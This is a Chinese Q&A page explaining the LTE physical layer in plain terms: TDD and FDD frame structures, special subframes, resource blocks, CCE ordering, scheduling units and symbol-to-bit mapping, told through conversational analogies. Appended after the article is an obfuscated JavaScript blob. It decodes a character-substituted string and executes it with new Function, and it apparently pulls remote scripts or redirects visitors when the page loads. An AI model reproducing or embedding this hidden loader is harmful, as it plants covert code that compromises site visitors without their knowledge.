推荐回答(1个)
如何理解LTE物理层?有深度..还通俗易懂
1.机制的来源 ---- 哲学
1. 想出来的,协议或规定,特别是‘恰当(中庸的思想),极端就是毁灭. 就像TDD没有沿用3G的上下行随便配置的方法,但也不能只有一种配置,这样太死板,所以折中之后提取出了七种比较有意义的帧结构模型。
2. 具体问题具体分析。不能生搬硬套,要根据具体的情况订出具体的策略。后面介绍每种信道的时候就能看出来,每种信道的处理几乎都不一样,没有一种完全统一的方式。
3. 就像数学推论一样,当问一个为什么,不断问下去的时候?最后要不是规定或者设计思想;就要不是‘公理,定理’,根本没法证明。
4. 任何事情都没有完美的,有利有弊,只是看你有没有发现而已。
5. 配置出来的
6. 潜规则,这是一种规则但并没有显示表示(在代码中也有同样的。由于潜规则不容易发现而且难于理解,最好少用)
注:也许这些看起来比较空洞,但当你看完了后面的信道实现再反过来看的时候,就能很好的感觉这些思想的意义了。
2.后面讨论的一些限制
●只涉及TDD-LTE,TDD比较复杂些,想清楚了它,FDD自然也好理解
●只涉及子载波是15kz的情况
●只讨论‘一个时隙有7个symbol的情况’,也就是normal循环前缀(Normal cyclic prefix)的情况。不讨论Extended cyclic
prefix的情况
●不讨论半静态调度,也许偶尔会涉及到
●不讨论MIMO的情况
●看的都是860的协议,分别是36211-860,36212-860,36213-860
注:调制之后也产生符号,而一个资源块RB也是时域上也是有符号的概念。所以为了两者区别,‘调制符号’就是指‘调制之后也产生符号’;而正常的‘符号’就是指‘时域的符号’的概念。
3.LTE整体理解
3.1 生活交流就是LTE ----设计思想
让我们从生活的角度来简单理解下‘通讯’,自己想出来的,有些也可能不太准确,只是想表达一种意思。假设eNodeb,UE都是人,是一个enodeb同时和多个UE进行交流。
加扰:由于enodeb和每个UE谈话的时候,都不想别人听得懂它们之间的谈话的内容。所以enodeb和每个UE谈话的时候,都用一种不同的语言,这也就相当于别的人虽然听到了,但是听不懂。相当于通讯中加扰。
功控:由于enodeb和多个UE都在一个环境谈话。如果一个UE讲得太小,enodeb听不到,enodeb就会让那个UE说话声音大点;如果UE说话声音太大了,又吵着了enodeb和其他人谈话,所以太大了又会让那个UE说话小声点。就这样不停的根据环境变化说话声音的大小,这也就是‘通讯中的功控了’,当然enodeb肯定也会控制自己说话的音量的。
编码率(CQI决定):enodeb和UE之间谈话,觉得UE说话太快了,听不清楚,就会跟UE说,你说话慢点;这样UE每一个分钟说的话也就少了,表达的意思就少了,当然这也是根据环境不断变化的;反过来也一样。这也就是通讯中‘编码率’,表达了选择到的那块资源(时间频域)所能携带的,由CQI(channel quality indication)决定的。由于只能让听的人来决定说话是否快慢,所以:通讯中下行就是通过UE上报的CQI—channel
quality indication决定下行编码率,因为UE是听者;上行enodeb自己来判断CQI—channel quality indication决定上行编码率,因为enodeb是听者。
ASN编码方式:就像人说话是否精练一样。同样的字数能传递的信息数是不一样的,像电报就要求比较精炼。无线侧的ASN编码就像人说话很干练;而有线侧TLV的ASN编码模式就相当于说话比较啰嗦。
资源位置的选择(CQI决定):enodeb可以让UE站在不同的地方,看看它听enodeb说话的效果怎么样,或者让UE站在各个地方说‘事先订好大家都知道的话’。哪里enodeb听得最清楚,最后enodeb就说你就站在那里说话吧,那里说话听得最清楚。这也就是通讯中‘资源位置的选择’,就是通过‘不同资源上返回的CQI,去选择CQI最好的资源进行分配,当然这只是理想情况’。此时说话的内容都是事先订好的,这也就是通讯中的RS(参考信号的作用),RS还有个作用‘相干解调’,后面会介绍。
资源数目的选择:用说话不好做比喻。就用货物运送吧。UE说我有很多货要送。Enodeb说我就给你多拍几辆车来送货把。这就是资源数目的意思了。
调度:一个enodeb和多个UE之间对话,每个人都有话要说,每个人可能要说好几件事,每件事重要程度也是不一样的(这也就是通讯中DRB的优先级),每件事说多少话也是不一样。而且有些UE的话重要,有些不太重要(这也就是UE的调度优先级)。但enodeb又忙不过来,它就去决定什么时候和某个UE对话,什么时候又听UE说话,分配多少时间给某个UE,分配多少车辆给UE送货(因为总的车辆数是一定的,也就是上下行带宽),最后调度就决定最后怎么去做。
正交:想到一个比喻但不是太恰当。就像一盘有各种颜色的珠子混在一起,然后你用自己对应的颜色,就能从混在一起的珠子中选出你自己想要的颜色的珠子。颜色就相当于正交码;用想要的颜色去匹配的动作就是正交运算。
3.2 一些设计基本原则----设计思想
●为了防止小区间干扰,通常通用的会通过PCI(physical cell id)进行偏移计算或者‘参与加扰计算’来防止干扰;如果和时间(时隙0~19)的变化相关,还加上‘时间’参与加扰。
●为了防止小区内不同UE的干扰或者决定UE的资源分配位置,通过一个与无线侧UE相关的唯一标识--‘RNTI’进行加扰或者定位资源分配的位置。考虑到,如果资源分配的位置还有冲突,可能还会加入一个系统内相对的子帧号(0~9)或者时隙号(0~19)来解决这种资源冲突,让这种冲突再下一个时间点能得到解决,也就是资源分配的位置由RNTI和子帧号/时隙号共同决定。当然也会加上PCI来区分不同小区之间的不同UE。
●为了‘离散化’数据,一般喜欢‘横放列取’的方法。
●由于‘空口最大的一个缺陷就是资源少’,所以为了尽量节省资源,产生了很多潜规则,而且也有时会‘1bit当2bit用,就是说不同的外部条件下,该1bit代表不同的意思’。这样虽然节省了资源,但这样的不利就是‘算法和限制条件太多了太烦了’。
●要是‘没有了TDD’,也许思路该清净/清晰很多了。看物理层协议,TDD由于上下行配置的多样性和不对称性,产生了非常多的额外的处理问题,特别是HARQ ACK/NACK的处理。
3.3 基准时间单位-----规定
Ts = 1/30,720,000 S
这个的意思就是说‘每1秒,每个天线端口都会发送出30 720 000个‘调制符号’出去’。
3.4 FDD和TDD的帧结构 -- 规定
3.4.1 FDD帧的结构
FDD的配置,对称的(上下行不同的频点)
系统帧,子帧,时隙,符号(symbol)与时间单位的关系
Tframe(307 200 * Ts=10ms)-->10* Tsubframe(30 720*Ts=1ms) -->
2* Tslot(15 360*Ts = 0.5ms)-->7/6 symbol(2048*Ts = 66.7us).
3.4.2 TDD帧的结构
3.4.2.1思想
TDD的几种配置,可以不对称
●思想(折中):就像TDD没有沿用3G的上下行随便配置的方法,但也不能只有一种配置,这样太死板,所以折中之后提取出了七种比较有意义的帧结构模型。
●参看:36211的Table 4.2-2
●0和5这两个子帧都必须是下行,2必须是上行。
●0和5这两个子帧都必须是下行,2必须是上行。
●帧结构的配置可以改变,但不能改变得太快,不能每个系统帧都变一下
●为了防止小区间干扰,相邻小区的上下行配置最好一样
●特殊子帧只有下行转换到上行之间才有
●帧结构和特殊指针的DWPTS/GP/UPPTS的时长都是由系统信息通知给手机的
●使用那种时隙结构,是基于每个子帧都可以变化的。一般’扩展的CP’就是给MBMS子帧用的。
●后面就能知道由于‘一个帧内的上下行子帧的数目不一样’这种不对称的配置,最后导致很多特殊的处理出来。也许现在还不太了解,看完后面的说明应该就了解了。
3.4.2.2 配置
RRC::SystemInformationBlockType1--> TDD-Config --> subframeAssignment
3.4.3 TDD特殊子帧的结构
RRC::SystemInformationBlockType1 àTDD-Config à specialSubframePatterns决定特殊子帧的配置。
注意上表的红色部分,对应到的符号symbol数,因为PDCCH要占用1~3(normal)符合,所以‘也就会明白,后面提到的为什么特殊子帧配置为0,5的时候,为什么不能传输下行数据了,因为如果PDCCH占3个符号就没有资源给PDSCH用了(设计的人也是以PDCCH占最大情况来考虑的,一刀切。没有根据PCFICH来判断,如果根据PCFICH来判断算法会复杂。两种方法各有利弊)。
3.4.4 问题
3.4.4.1 问题1: 既然说GP是为了上下行转换提供空余时间减少干扰,那为什么说上行到下行转换得地方都没有GP呢?
因为下行到上行转换时,UE根本不知道和enodeb之间的距离,如果提前量太早了,UE发送上行数据而enodeb还在发送下行数据,就会发生干扰,所以需要GAP。当上行到下行的转换的时候,如果UE没有TA(时间提前量),它肯定是在PRACH上发送,premable占用的时间比较短,不会完全占满上行子帧,所以后面还是留了点时间,不会发送上下行冲突;而当UE已经有TA的时候,时间已经对齐了,即使发送有点误差也是落在了cyclic
prefix(每个时域上symbol前面的空白)里面了,所以不会发生上下行干扰。
==》也进一步推出:为什么PRACH的资源在时域上,为什么在特殊子帧上要以‘特殊子帧’的尾部进行对齐,而在正常的上行子帧上,要以‘正常上行子帧的’开头对齐了。因为特殊子帧后面肯定是上行子帧,所以要向后对齐;而正常的上行子帧后面可能是下行子帧,所以要向前对齐。
3.4.4.2 问题2:为什么要有扩展的CP
●覆盖范围大的小区,可以解决延迟长的问题
●MBMS广播,对于多个小区同时广播一套节目给终端,必须考虑不同小区到终端的时间延迟不同,所以用扩展的长的CP比较好。
3.5一些基本概念--规定
3.5.1公式--拉斯变换
●变换的目的就是:让乘法变得很简单了。
3.5.2 资源块的描述--规定
1 个资源块(RB) = 12 subcarrier * 1 slot(正常7个符号)
●1 subcarrier = 15khz à 也就是说一秒钟的发射载波频率是15k
●RE = (频域)15KZ * 1 symbol(时域),就是上面的一个‘最小的方框’。
●REG = 4个频域挨着的但不一定连续的,时域上相同的RE的集合。
注意: CCE只是一个逻辑上的概念,也就是说它物理上只是等于9个REG,并没有实际的对应关系。为了PDCCH盲检测用的。它和REG的顺序不一样,它的顺序是先时域,再频域的。
3.5.2.1 问题1:为什么CCE要先时域后频域?
因为这样可以获得时域分集(就是把一组完整的数据分在不连续的时间上发送),跟后面提到的交织一样,都是为了错误随机化。因为‘射频单元’会以(1/Ts = 30
720 000 S)的频率‘按照先频域后时域发送‘调制符号’。
3.5.3 调度的单位--规定
(个人觉得也是一种恰当不极端的思想)
●时间上:一个TTI(1ms),即2个TS调度一次
●频域上:调度的最小资源单位却是由一个subframe中的两个资源块为最小调度单位(一个时隙一个RB,但这两个RB可能载频不一样),也就是所谓的时隙间跳频,跳即‘变化,不同的’意思。
3.5.3.1问题1:为什么要不同时隙间的使用的载频可能不一样?
这样应该是为了获得良好的接收效果。如果在某个频点的信号不好,而1个TTI内上下时隙的频点不一样,这样另外一个频点对应的信息还是能很好的解出来。
一个很特别的例子就是PUCCH资源回应HARQ ACK/NACK的时候:它对应的上下时隙的频点就不一样,但是它们传输的数据是有关联的,只要一个时隙能解出来就行了,所以某个频点的信号不好也不会受影响。具体我们后面谈到PUCCH的时候再解释。
3.5.4 符号和真实的BIT数据的对应关系
我们可以简单的把符号理解成电磁波,接收端接收到的电磁波然后根据不同的相位可以认为代表不同的BIT.
记住:记住接收是指接收一个时间段的波形,而不是一个时间点的波形。
例如QPSK:1个符号代表2bit的情况。
●参考36211的7.1。注意:64QAM有些手机是不支持的,所以要从UE的信息中获取是否支持,才能决定是否对该手机使用64QAM(RRC::UE-EUTRA-Capability->ue-Category能查到)
3.5.5 时域延迟等同于频率相位偏移如何理解
●T1时间点应该发送波形,推迟到T2点发送,所以相对于接收端它不知道推迟,所以它还是在T1时间点进行接收,接收到的就是T2时间点的波形。所以相位不一样,就相当于偏移。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();